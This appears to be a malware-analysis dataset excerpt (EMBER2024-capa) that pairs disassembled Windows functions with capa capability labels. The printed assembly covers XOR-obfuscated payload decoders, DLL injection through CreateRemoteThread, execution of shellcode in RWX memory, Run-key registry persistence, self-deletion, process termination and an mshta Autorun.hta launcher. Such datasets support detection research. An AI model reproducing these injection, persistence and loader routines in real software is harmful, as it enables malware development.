joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10012247
Capabilities:
Delete file

Disassembly:
push 0x14
mov eax, 0x1002dc29
call fcn.10016e01
mov ebx, ecx
mov eax, dword [ebx]
xor edi, edi
mov esi, dword [eax + 0x18]
mov ecx, esi
call dword [0x100304d0]
mov ecx, ebx
call esi
push eax
lea ecx, [ebp - 0x10]
call fcn.1001cc74
and dword [ebp - 4], edi
lea esi, [ebx + 0x44]
cmp dword [esi], edi
je 0x100122f2
push str.Excel.Application
lea ecx, [ebp - 0x10]
call fcn.1001cc74
mov ecx, dword [esi]
test al, al
je 0x100122d4
push 0xb
pop eax
mov word [ebp - 0x20], ax
xor eax, eax
mov word [ebp - 0x18], ax
sub esp, 0x10
mov byte [ebp - 4], 1
mov edi, esp
lea esi, [ebp - 0x20]
push 1
movsd dword es:[edi], dword [esi]
push str.Close
push ecx
push eax
movsd dword es:[edi], dword [esi]
push 1
push ebx
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
call fcn.1001cc74
add esp, 0x28
mov byte [ebp - 4], 0
mov edi, eax
lea eax, [ebp - 0x20]
push eax
call dword [sym.imp.oleaut32.dll_VariantCopy]
lea esi, [ebx + 0x44]
jmp 0x100122eb
push 0
push str.Close
push ecx
push 0
push 1
push ebx
call fcn.1001cc74
add esp, 0x18
mov edi, eax
mov ecx, esi
call fcn.10009b23
cmp dword [ebx + 0x24], 0
je 0x10012312
push str.Excel.Application
lea ecx, [ebp - 0x10]
call fcn.1001cc74
test al, al
je 0x10012312
push dword [ebx + 0x24]
call dword [sym.imp.kernel32.dll_DeleteFileW]
push dword [ebp - 0x10]
call dword [sym.imp.oleaut32.dll_SysStringLen]
mov eax, edi
call fcn.10016dca
ret
Function at 0x10013230
Capabilities:
Copy file
Set file attributes

Disassembly:
push 0x214
mov eax, 0x1002dcec
call fcn.10016e35
mov ebx, dword [ebp + 8]
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x21c], eax
cmp dword [ebx + 8], 0
je 0x1001325b
mov eax, reloc.oleaut32.dll_VariantCopyInd
jmp 0x100133e6
mov eax, dword [ebx - 0xc]
mov esi, dword [eax + 0x10]
mov ecx, esi
call dword [0x100304d0]
lea ecx, [ebx - 0xc]
call esi
mov ecx, dword [ebx + 0x14]
test ecx, ecx
jne 0x1001327f
mov eax, 0x80004005
jmp 0x100133e6
mov edx, dword [ebp + 0x10]
mov esi, reloc.oleaut32.dll_SysReAllocString
mov eax, edx
and eax, esi
cmp eax, esi
push dword [ebp - 0x21c]
sete al
mov byte [ecx + 0x31], al
lea ecx, [esi + 2]
mov eax, edx
and eax, ecx
cmp eax, ecx
mov eax, dword [ebx + 0x14]
sete cl
mov byte [eax + 0x32], cl
lea eax, [esi + 6]
and edx, eax
cmp edx, eax
mov eax, dword [ebx + 0x14]
sete cl
mov byte [eax + 0x33], cl
mov ecx, dword [ebx + 0x14]
add ecx, 0x28
call fcn.1001cc74
mov edi, dword [ebx + 0x14]
mov eax, dword [edi]
mov esi, dword [eax + 0x18]
mov ecx, esi
call dword [0x100304d0]
mov ecx, edi
call esi
push eax
lea ecx, [ebp - 0x220]
call fcn.1001cc74
xor esi, esi
lea ecx, [ebp - 0x220]
push str.Excel.Application
mov dword [ebp - 4], esi
call fcn.1001cc74
test al, al
je 0x100133be
push 0x208
lea eax, [ebp - 0x218]
push esi
push eax
call fcn.10019ba0
mov edi, dword [ebp - 0x21c]
push 0x5c
push edi
call fcn.1001cc74
add esp, 0x14
test eax, eax
jne 0x10013338
push 0x2f
push edi
call fcn.1001cc74
pop ecx
pop ecx
test eax, eax
je 0x10013358
add eax, 2
push 0x2e
push eax
call fcn.1001cc74
push eax
lea eax, [ebp - 0x218]
push 0x104
push eax
call fcn.1001cc74
add esp, 0x14
cmp word [ebp - 0x218], si
je 0x100133b7
push esi
lea eax, [ebp - 0x218]
push eax
push edi
call dword [sym.imp.kernel32.dll_CopyFileW]
lea eax, [ebp - 0x218]
push esi
push eax
call fcn.1001cc74
pop ecx
pop ecx
mov ecx, dword [ebx + 0x14]
add ecx, 0x24
test eax, eax
jne 0x100133a9
lea eax, [ebp - 0x218]
push eax
call fcn.1001cc74
push 0x80
lea eax, [ebp - 0x218]
push eax
call dword [sym.imp.kernel32.dll_SetFileAttributesW]
jmp 0x100133af
push edi
call fcn.1001cc74
mov eax, dword [ebx + 0x14]
add eax, 0x24
jmp 0x100133cf
mov esi, 0x80004005
jmp 0x100133d8
mov ecx, dword [ebx + 0x14]
push dword [ebp - 0x21c]
add ecx, 0x24
call fcn.1001cc74
push eax
lea ecx, [ebx + 0x10]
call fcn.1001cc74
push dword [ebp - 0x220]
call dword [sym.imp.oleaut32.dll_SysStringLen]
mov eax, esi
call fcn.10016ddf
ret 0xc
Function at 0x10013a90
Capabilities:
Terminate process

Disassembly:
push 0x81c
mov eax, 0x1002ddab
call fcn.10016e35
mov ebx, ecx
xor ecx, ecx
lea edi, [ebx + 0x40]
mov esi, ecx
mov dword [ebp - 0x818], ecx
mov dword [ebp - 0x814], ecx
cmp dword [edi], ecx
je 0x10013bcc
push 0x10
push ecx
lea eax, [ebp - 0x828]
push eax
call fcn.10019ba0
add esp, 0xc
lea eax, [ebp - 0x828]
push eax
call dword [sym.imp.oleaut32.dll_VariantClear]
push esi
push str.Caption
push dword [edi]
lea eax, [ebp - 0x828]
mov dword [ebp - 4], esi
push eax
push 2
push ebx
call fcn.1001cc74
add esp, 0x18
test eax, eax
jne 0x10013b31
push dword [ebp - 0x820]
mov word [ebp - 0x810], ax
lea eax, [ebp - 0x810]
push 0x400
push eax
call fcn.1001cc74
add esp, 0xc
lea eax, [ebp - 0x810]
push eax
push esi
call dword [sym.imp.user32.dll_FindWindowW]
mov dword [ebp - 0x814], eax
mov eax, dword [ebx]
lea ecx, [ebp - 0x818]
push ecx
mov esi, dword [eax + 0x2c]
mov ecx, esi
call dword [0x100304d0]
mov ecx, ebx
call esi
mov esi, eax
test esi, esi
js 0x10013b70
cmp dword [ebp - 0x818], 0
jne 0x10013b70
push 0
push str.Quit
push dword [edi]
push 0
push 1
push ebx
call fcn.1001cc74
add esp, 0x18
mov esi, eax
mov ecx, edi
call fcn.10009b23
lea eax, [ebp - 0x828]
push eax
call dword [sym.imp.oleaut32.dll_VariantCopy]
mov eax, dword [ebp - 0x814]
test eax, eax
je 0x10013bcc
cmp dword [ebp - 0x818], 0
jne 0x10013bcc
test esi, esi
jns 0x10013bcc
and dword [ebp - 0x814], 0
lea ecx, [ebp - 0x814]
push ecx
push eax
call dword [sym.imp.user32.dll_GetWindowThreadProcessId]
push dword [ebp - 0x814]
push 1
push 0x1fffff
call dword [sym.imp.kernel32.dll_OpenProcess]
push 1
push eax
call dword [sym.imp.kernel32.dll_TerminateProcess]
mov eax, esi
call fcn.10016ddf
ret
Function at 0x10015057
Capabilities:
Enumerate processes

Disassembly:
push 0x238
mov eax, 0x1002dffa
call fcn.10016e35
mov ebx, dword [ebp + 8]
test ebx, ebx
jne 0x10015074
xor eax, eax
jmp 0x10015151
xor edi, edi
push edi
push 2
call sub.kernel32.dll_CreateToolhelp32Snapshot
mov esi, eax
test esi, esi
je 0x1001514f
lea eax, [ebp - 0x23c]
mov dword [ebp - 0x23c], 0x22c
push eax
push esi
call sub.kernel32.dll_Process32FirstW
jmp 0x10015125
lea eax, [ebp - 0x218]
push eax
lea ecx, [ebp - 0x244]
call fcn.1000127b
push ebx
lea ecx, [ebp - 0x240]
mov dword [ebp - 4], edi
call fcn.1000127b
lea ecx, [ebp - 0x244]
mov byte [ebp - 4], 1
call fcn.10001cc6
lea ecx, [ebp - 0x240]
call fcn.10001cc6
lea eax, [ebp - 0x244]
push eax
lea eax, [ebp - 0x240]
push eax
call fcn.1001cc74
pop ecx
pop ecx
mov ecx, dword [ebp - 0x240]
lea ecx, [ecx - 0x10]
test al, al
jne 0x1001512f
call fcn.10001eb4
mov ecx, dword [ebp - 0x244]
or dword [ebp - 4], 0xffffffff
lea ecx, [ecx - 0x10]
call fcn.10001eb4
lea eax, [ebp - 0x23c]
push eax
push esi
call sub.kernel32.dll_Process32NextW
test eax, eax
jne 0x100150a4
jmp 0x10015148
mov edi, dword [ebp - 0x234]
call fcn.10001eb4
mov ecx, dword [ebp - 0x244]
add ecx, 0xfffffff0
call fcn.10001eb4
push esi
call dword [sym.imp.kernel32.dll_CloseHandle]
mov eax, edi
call fcn.10016ddf
ret

Function at 0x1001cc74
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
pushal
call 0x1001cc83
pop dword [ebp - 0x28]
mov eax, 0x7ec67856
add eax, 0x913b542d
sub dword [ebp - 0x28], eax
push 0x40
push 0x1000
push 0x433f3
push 0
mov eax, sym.imp.kernel32.dll_VirtualAlloc
add eax, dword [ebp - 0x28]
call dword [eax]
mov ecx, 0xf254468a
sub ecx, 0xf253f260
xor edi, edi
add edi, eax
mov edx, 0x1665e417
sub edx, 0x6612817
add edx, dword [ebp - 0x28]
mov esi, 0x3cf300e4
xor dword [ebp - 8], edx
mov ebx, dword [edx]
add ebx, esi
mov dword [edi], ebx
sub dword [ebp - 4], edx
add edi, 0xa9972d7a
add edi, 0x5668d28a
add edx, 0xecf05952
add edx, 0x130fa6b2
loop 0x1001ccd9
add eax, 0x158cbb36
add eax, 0xea748845
mov ebx, eax
add eax, 5
mov ecx, 0xb00a98b1
sub ecx, 0xa00a98b1
add ecx, dword [ebp - 0x28]
call ebx
leave
ret
Function at 0x403790
Capabilities:
Create process on windows
Execute command
Get common file path
Set current directory
Set environment variable

Disassembly:
lea ecx, [esp + 4]
and esp, 0xfffffff0
push dword [ecx - 4]
mov eax, 0x302c
push ebp
mov ebp, esp
push esi
push ebx
push ecx
call fcn.00401e90
sub esp, eax
mov ebx, dword [ecx + 4]
call fcn.00401c30
mov eax, dword [ebx]
lea ebx, [ebp - 0x3018]
mov dword [esp], ebx
mov dword [esp + 4], eax
call sub.msvcrt.dll_strcpy
mov eax, ebx
cmp byte [eax], 0
je 0x4037d7
inc eax
jmp 0x4037ca
cmp eax, ebx
je 0x4037dc
dec eax
cmp byte [eax], 0x5c
jne 0x4037d2
mov byte [eax], 0
mov dword [esp], ebx
call sub.kernel32.dll_SetCurrentDirectoryA
push ecx
mov dword [esp + 4], ebx
mov dword [esp], 0x1000
call sub.kernel32.dll_GetCurrentDirectoryA
push esi
push esi
lea esi, [ebp - 0x2018]
mov dword [esp + 4], ebx
mov dword [esp], str.__s_
call sub.msvcrt.dll_printf
cmp byte [ebp - 0x3018], 0x5c
jne 0x403822
cmp byte [ebp - 0x3017], 0x5c
je 0x403857
mov dword [esp + 8], ebx
mov dword [esp + 4], str.__sAutorun.hta_
mov dword [esp], esi
call sub.msvcrt.dll_sprintf
mov dword [esp + 0x14], 1
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], esi
mov dword [esp + 8], str.Toolsmshta.exe
jmp 0x4038e4
mov dword [esp + 8], ebx
mov dword [esp + 4], str.__sAutorun.hta_
mov dword [esp], esi
call sub.msvcrt.dll_sprintf
mov dword [esp], str.NET_USE__Z:___DELETE__YES
call sub.msvcrt.dll_system
mov dword [esp + 8], ebx
lea ebx, [ebp - 0x1018]
mov dword [esp + 4], str.SETLOCAL_ENABLEEXTENSIONS_ENABLEDELAYEDEXPANSION__FOR__F__tokens2____D_IN__NET_USE____s___PERSISTENT:NOFINDSTR__I_unidad__DO_SET_DRIVELETTER__D
mov dword [esp], ebx
call sub.msvcrt.dll_sprintf
mov dword [esp], ebx
call sub.msvcrt.dll_system
mov dword [esp], ebx
call sub.msvcrt.dll_printf
mov dword [esp + 4], 0x405142
mov dword [esp], str.SEE_MASK_NOZONECHECKS
call sub.kernel32.dll_SetEnvironmentVariableA
push eax
push eax
mov dword [esp], 0x40515a
call sub.kernel32.dll_SetCurrentDirectoryA
push edx
mov dword [esp + 0x14], 1
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], str.Z:Autorun.hta
mov dword [esp + 8], str.Z:Toolsmshta.exe
mov dword [esp + 4], str.open
mov dword [esp], 0
call sub.shell32.dll_ShellExecuteA
xor eax, eax
sub esp, 0x18
lea esp, [ebp - 0xc]
pop ecx
pop ebx
pop esi
pop ebp
lea esp, [ecx - 4]
ret
Function at 0x417007
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
pushal
call 0x417016
pop dword [ebp - 0x10]
mov eax, 0x5f64b759
sub eax, 0x5f234743
sub dword [ebp - 0x10], eax
push 0x40
push 0x1000
push 0x54678
push 0
mov eax, sym.imp.kernel32.dll_VirtualAlloc
add eax, dword [ebp - 0x10]
call dword [eax]
mov ecx, 0xdb63e95f
add ecx, 0x249c6fee
mov edx, eax
mov ebx, 0x87da94f0
sub ebx, 0x879216f0
add ebx, dword [ebp - 0x10]
mov edi, 0x46dd6d03
sub edi, 0xa7fc709b
xor dword [ebp - 0xc], ecx
mov esi, dword [ebx]
add esi, edi
sub dword [ebp - 4], eax
mov dword [edx], esi
add edx, 4
add ebx, 0x2acd8a62
sub ebx, 0x2acd8a5e
loop 0x417070
add eax, 0x15807
mov ebx, eax
add eax, 5
mov ecx, 0xe006279d
add ecx, 0x2039d863
add ecx, dword [ebp - 0x10]
call ebx
leave
ret

Function at 0x43fcae
Capabilities:
Encrypt data using dpapi

Disassembly:
push esi
push edi
push 0x46b5d8
push str.AdvApi32.dll
call main
mov edi, dword [sym.imp.kernel32.dll_GetProcAddress]
mov esi, eax
test esi, esi
js 0x43fcf1
push str.SystemFunction040
push dword [0x46b5d8]
call edi
push str.SystemFunction041
push dword [0x46b5d8]
mov dword [0x46b5e0], eax
call edi
mov dword [0x46b5e4], eax
jmp 0x43fcf6
mov eax, dword [0x46b5e4]
cmp dword [0x46b5e0], 0
je 0x43fd07
test eax, eax
jne 0x43fdae
push 0x46b5dc
push str.Crypt32.dll
call main
mov esi, eax
test esi, esi
js 0x43fdb8
push str.CryptProtectMemory
push dword [0x46b5dc]
call edi
cmp dword [0x46b5e0], 0
mov dword [0x46b5e8], eax
jne 0x43fd6c
test eax, eax
jne 0x43fd6c
call dword [sym.imp.kernel32.dll_GetLastError]
mov esi, eax
test esi, esi
jle 0x43fd56
movzx esi, si
or esi, 0x80070000
test esi, esi
js 0x43fd5d
mov esi, 0x80004005
push esi
push 0x28
push str.cryputil.cpp
call fcn.00403821
jmp 0x43fdb8
push str.CryptUnprotectMemory
push dword [0x46b5dc]
call edi
cmp dword [0x46b5e4], 0
mov dword [0x46b5ec], eax
jne 0x43fdae
test eax, eax
jne 0x43fdae
call dword [sym.imp.kernel32.dll_GetLastError]
mov esi, eax
test esi, esi
jle 0x43fda2
movzx esi, si
or esi, 0x80070000
test esi, esi
js 0x43fda9
mov esi, 0x80004005
push esi
push 0x2d
jmp 0x43fd60
mov dword [0x46b5f0], 1
pop edi
mov eax, esi
pop esi
ret
Function at 0x693c12f3
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
lea eax, [ebp - 0x2c]
mov dword [esp], eax
call sym._GetSystemInfo_4
sub esp, 4
mov eax, dword [ebp - 0x14]
cmp eax, 0x182
je 0x693c1325
mov eax, dword [ebp - 0x14]
cmp eax, 0x1e6
je 0x693c1325
mov eax, dword [ebp - 0x14]
cmp eax, 0x24a
jne 0x693c132c
mov eax, 1
jmp 0x693c1331
mov eax, 0
leave
ret

Function at 0x693c1333
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x238
mov dword [ebp - 0xc], 0
mov dword [esp + 8], 0x100
lea eax, [ebp - 0x10c]
mov dword [esp + 4], eax
mov dword [esp], 0
call sym._GetModuleFileNameA_12
sub esp, 0xc
test eax, eax
jne 0x693c1382
call sym._GetLastError_0
mov dword [esp + 4], eax
mov dword [esp], str.GetModuleFileName___failed_with_error_code__d_n
call sym._printf
jmp 0x693c14e4
mov dword [esp + 4], 0x5c
lea eax, [ebp - 0x10c]
mov dword [esp], eax
call sym._strrchr
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jne 0x693c13bb
call sym._GetLastError_0
mov dword [esp + 4], eax
mov dword [esp], str.strrchr___failed_with_error_code__d_n
call sym._printf
jmp 0x693c14e4
mov eax, dword [ebp - 0xc]
mov byte [eax], 0
lea eax, [ebp - 0x20c]
mov dword [eax], 0x74666f53
mov dword [eax + 4], 0x65726177
mov dword [eax + 8], 0x63694d5c
mov dword [eax + 0xc], 0x6f736f72
mov dword [eax + 0x10], 0x575c7466
mov dword [eax + 0x14], 0x6f646e69
mov dword [eax + 0x18], 0x435c7377
mov dword [eax + 0x1c], 0x65727275
mov dword [eax + 0x20], 0x6556746e
mov dword [eax + 0x24], 0x6f697372
mov dword [eax + 0x28], 0x75525c6e
mov word [eax + 0x2c], 0x6e
mov dword [ebp - 0x210], 0
lea eax, [ebp - 0x210]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 0xf003f
mov dword [esp + 8], 0
lea eax, [ebp - 0x20c]
mov dword [esp + 4], eax
mov dword [esp], 0x80000001
call sym._RegOpenKeyExA_20
sub esp, 0x14
test eax, eax
je 0x693c1471
call sym._GetLastError_0
mov dword [esp + 4], eax
mov dword [esp], str.RegOpenKeyEx___failed_with_error_code__d_n
call sym._printf
jmp 0x693c14e4
lea eax, [ebp - 0x10c]
mov dword [esp], eax
call sym._strlen
mov edx, eax
mov eax, dword [ebp - 0x210]
mov dword [esp + 0x14], edx
lea edx, [ebp - 0x10c]
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], 1
mov dword [esp + 8], 0
mov dword [esp + 4], str.MyApp
mov dword [esp], eax
call sym._RegSetValueExA_24
sub esp, 0x18
test eax, eax
je 0x693c14d3
call sym._GetLastError_0
mov dword [esp + 4], eax
mov dword [esp], str.RegSetValueEx___failed_with_error_code__d_n
call sym._printf
jmp 0x693c14e4
mov eax, dword [ebp - 0x210]
mov dword [esp], eax
call sym._RegCloseKey_4
sub esp, 4
leave
ret
Function at 0x693c1554
Capabilities:
Create thread
Inject dll
Inject thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._strlen
add eax, 1
mov dword [ebp - 0xc], eax
mov dword [esp], str.kernel32.dll
call sym._GetModuleHandleA_4
sub esp, 4
mov dword [esp + 4], str.LoadLibraryA
mov dword [esp], eax
call sym._GetProcAddress_8
sub esp, 8
mov dword [ebp - 0x10], eax
mov eax, dword [ebp + 0xc]
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov dword [esp], 0x1f0fff
call sym._OpenProcess_12
sub esp, 0xc
mov dword [ebp - 0x14], eax
mov dword [esp + 0x10], 4
mov dword [esp + 0xc], 0x1000
mov eax, dword [ebp - 0xc]
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._VirtualAllocEx_20
sub esp, 0x14
mov dword [ebp - 0x18], eax
mov dword [esp + 0x10], 0
mov eax, dword [ebp - 0xc]
mov dword [esp + 0xc], eax
mov eax, dword [ebp + 8]
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x18]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._WriteProcessMemory_20
sub esp, 0x14
mov eax, dword [ebp - 0x10]
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov edx, dword [ebp - 0x18]
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._CreateRemoteThread_28
sub esp, 0x1c
mov dword [ebp - 0x1c], eax
mov dword [esp + 4], 0xffffffff
mov eax, dword [ebp - 0x1c]
mov dword [esp], eax
call sym._WaitForSingleObject_8
sub esp, 8
mov dword [esp + 0xc], 0x8000
mov eax, dword [ebp - 0xc]
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x18]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._VirtualFreeEx_16
sub esp, 0x10
mov eax, dword [ebp - 0x1c]
mov dword [esp], eax
call sym._CloseHandle_4
sub esp, 4
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._CloseHandle_4
sub esp, 4
nop
leave
ret

Function at 0x693c18c1
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov eax, dword [ebp + 0xc]
mov dword [esp + 0xc], 0x40
mov dword [esp + 8], 0x3000
mov dword [esp + 4], eax
mov dword [esp], 0
call sym._VirtualAlloc_16
sub esp, 0x10
mov dword [ebp - 0xc], eax
mov eax, dword [ebp + 0xc]
mov dword [esp + 8], eax
mov eax, dword [ebp + 8]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._memcpy
mov eax, dword [ebp - 0xc]
call eax
nop
leave
ret

Function at 0x693c1943
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x128
mov dword [esp + 8], 0x104
lea eax, [ebp - 0x10c]
mov dword [esp + 4], eax
mov dword [esp], 0
call sym._GetModuleFileNameA_12
sub esp, 0xc
mov dword [esp], 0x1388
call sym._Sleep_4
sub esp, 4
lea eax, [ebp - 0x10c]
mov dword [esp], eax
call sym._DeleteFileA_4
sub esp, 4
nop
leave
ret
Function at 0x693c1cd0
Capabilities:
Get thread local storage value

Disassembly:
push esi
push ebx
sub esp, 0x14
mov dword [esp], 0x693c603c
call sym._EnterCriticalSection_4
mov ebx, dword [0x693c6034]
sub esp, 4
test ebx, ebx
je 0x693c1d1b
nop
mov eax, dword [ebx]
mov dword [esp], eax
call sym._TlsGetValue_4
sub esp, 4
mov esi, eax
call sym._GetLastError_0
test eax, eax
jne 0x693c1d14
test esi, esi
je 0x693c1d14
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x693c1cf0
mov dword [esp], 0x693c603c
call sym._LeaveCriticalSection_4
sub esp, 4
add esp, 0x14
pop ebx
pop esi
ret

Function at 0x693c1f00
Capabilities:
Write file on windows

Disassembly:
push esi
push ebx
sub esp, 0x14
mov eax, dword [sym.imp.msvcrt.dll__iob]
mov dword [esp + 8], 0x17
mov dword [esp + 4], 1
lea esi, [esp + 0x24]
mov dword [esp], 0x693c41ec
lea ebx, [eax + 0x40]
mov dword [esp + 0xc], ebx
call sym._fwrite
mov eax, dword [esp + 0x20]
mov dword [esp + 8], esi
mov dword [esp], ebx
mov dword [esp + 4], eax
call sym._vfprintf
call sym._abort
lea esi, [esi]

Function at 0x693c1f50
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
push edi
mov edi, ecx
push esi
push ebx
mov ebx, eax
mov esi, edx
sub esp, 0x4c
lea eax, [esp + 0x24]
mov dword [esp + 8], 0x1c
mov dword [esp], ebx
mov dword [esp + 4], eax
call sym._VirtualQuery_12
sub esp, 0xc
test eax, eax
je 0x693c2028
mov eax, dword [esp + 0x38]
cmp eax, 0x40
je 0x693c1f8e
cmp eax, 4
jne 0x693c1fb0
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
call sym._memcpy
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov eax, dword [esp + 0x30]
lea ebp, [esp + 0x20]
mov dword [esp + 8], 0x40
mov dword [esp + 0xc], ebp
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
mov edx, dword [esp + 0x38]
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
mov dword [esp + 0x1c], edx
call sym._memcpy
mov edx, dword [esp + 0x1c]
cmp edx, 0x40
je 0x693c1f9e
cmp edx, 4
je 0x693c1f9e
mov eax, dword [esp + 0x20]
mov dword [esp + 0xc], ebp
mov dword [esp + 8], eax
mov eax, dword [esp + 0x30]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov dword [esp + 8], ebx
mov dword [esp + 4], 0x1c
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
call fcn.693c1f00
Function at 0x40279c
Capabilities:
Generate random numbers using the delphi lcg

Disassembly:
imul edx, dword [0x40c02c], 0x8088405
inc edx
mov dword [0x40c02c], edx
mul edx
mov eax, edx
ret

Function at 0x4042e8
Capabilities:
Encode data using xor

Disassembly:
mov esi, 0x3729f1c4
mov edx, 0x9134ba2
xor edx, esi
push 0x2fad0395
mov eax, 0x61c83f3f
pop edi
xor eax, edi
xor eax, edx
mov ecx, 0x50a40804
mov esi, 0x100689
xor ecx, esi
push 0x6ca31caa
mov ebx, 0x4c48ae9e
pop edx
xor ebx, edx
xor ebx, ecx
xor ebx, eax
mov edx, 0
xor edx, ebx
mov esi, 0
xor esi, edx
mov edx, 0x20a0d398
and byte [ecx - 0x5f2c630e], al
and byte [ecx], ch
aam 0x89
xor al, 0x24
mov ecx, 0x11bfd56e
xor ecx, 0x54b3b11a
push ecx
push 0x2ff6c535
mov eax, 0x6afaa141
pop esi
xor eax, esi
pop ebx
xor eax, ebx
xor eax, eax
jmp 0x403f1d

Function at 0x4051fc
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff00
push ebx
push esi
mov esi, ecx
mov ebx, dword [ebp + 8]
push pe_nt_image_headers32
lea ecx, [ebp - 0x100]
push ecx
push edx
push eax
call sub.kernel32.dll_GetLocaleInfoA
test eax, eax
jle 0x405235
mov ecx, eax
dec ecx
lea edx, [ebp - 0x100]
mov eax, ebx
call fcn.00403278
jmp 0x40523e
mov eax, ebx
mov edx, esi
call fcn.0040322c
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4

Function at 0x405248
Capabilities:
Get geographical location

Disassembly:
push ebx
push esi
push edi
push ecx
mov ebx, ecx
mov esi, edx
mov edi, eax
push 2
lea eax, [esp + 4]
push eax
push esi
push edi
call sub.kernel32.dll_GetLocaleInfoA
test eax, eax
jle 0x405269
mov al, byte [esp]
jmp 0x40526b
mov eax, ebx
pop edx
pop edi
pop esi
pop ebx
ret